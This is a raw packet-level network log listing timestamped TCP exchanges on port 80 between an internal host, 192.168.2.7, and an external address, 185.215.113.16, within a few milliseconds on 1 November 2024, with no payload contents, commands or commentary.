Nov 1, 2024 12:34:32.408972979 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408993959 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409054041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409060001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409069061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409075022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409080982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409086943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409090042 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409094095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409104109 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409120083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409248114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409254074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409260035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409271002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409276962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409281969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409287930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409301043 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409307003 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409316063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409321070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409326077 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409327984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409334898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409341097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409347057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409360886 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409380913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409385920 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409387112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409394026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409399986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409405947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409410954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409420013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409440994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409460068 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409557104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409564018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409569025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409579992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409585953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409601927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409607887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409610987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409615040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409621954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409632921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409635067 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409642935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409650087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.409665108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.409686089 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410150051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410156965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410164118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410175085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410181046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410190105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410197020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410202026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410211086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410213947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410217047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410224915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410233021 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410253048 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410463095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410470009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410475969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410486937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410492897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410499096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410506010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410511971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410518885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410518885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410526037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410531998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410537004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410547018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410569906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410576105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410582066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410583973 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410588026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410594940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410604954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410604954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410614014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410620928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410623074 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410626888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410634041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410638094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410656929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410677910 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410705090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410711050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410716057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410727024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410732031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410737038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410743952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410751104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410754919 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410758018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410764933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410770893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410775900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410782099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410784960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410789013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410800934 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410820961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410875082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410882950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410888910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410893917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410900116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.410909891 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.410932064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411366940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411374092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411380053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411391020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411396980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411401987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411425114 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411442041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411453009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411458969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411463976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411469936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411493063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411497116 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411499023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411506891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411519051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411544085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411781073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411787033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411792994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411803007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411812067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411818027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411823988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411834955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411837101 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411840916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411848068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411851883 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411854982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411861897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411869049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411870003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411875963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411881924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411886930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411904097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411931992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411936998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411942959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411947966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411952972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411958933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.411977053 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.411998987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412018061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412024975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412030935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412041903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412046909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412053108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412059069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412067890 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412090063 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412204027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412210941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412216902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412229061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412235022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412240028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412246943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412255049 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412260056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412266016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412281036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412298918 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412312984 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412605047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412651062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412657022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412708044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412709951 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412715912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412722111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412729025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412744999 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412801027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412806988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412812948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412823915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412833929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412839890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412844896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.412849903 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.412877083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413053036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413059950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413067102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413070917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413077116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413083076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413090944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413090944 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413098097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413104057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413109064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413110018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413127899 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413155079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413161039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413167000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413173914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413201094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413228035 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413324118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413330078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413336039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413352966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413360119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413366079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413372040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413377047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413377047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413388014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413398027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413424969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413516045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413522959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413527966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413538933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413543940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413549900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413554907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413561106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413566113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413570881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413570881 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413580894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413587093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413588047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413594961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413600922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413609982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413642883 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.413954020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413959980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.413966894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414005995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414012909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414017916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414026976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414033890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414069891 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414096117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414102077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414108038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414118052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414124012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414129019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414136887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414167881 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414400101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414407015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414413929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414424896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414429903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414436102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414442062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414463997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414469004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414474010 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414478064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414508104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414511919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414519072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414525986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414532900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414577961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414661884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414668083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414674997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414680004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414685965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414691925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414699078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414705038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414710999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414722919 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414743900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414747000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414753914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414761066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414772987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414778948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414788008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414808035 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414824009 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414885044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414891958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414897919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414908886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414915085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414921045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414927959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414937973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414943933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.414958000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.414990902 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.415344000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415350914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415357113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415369034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415374994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415380955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415388107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415433884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.415465117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415472031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415477991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415489912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415494919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415501118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415508986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415532112 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.415550947 CET	49996	80	192.168.2.7	185.215.113.16
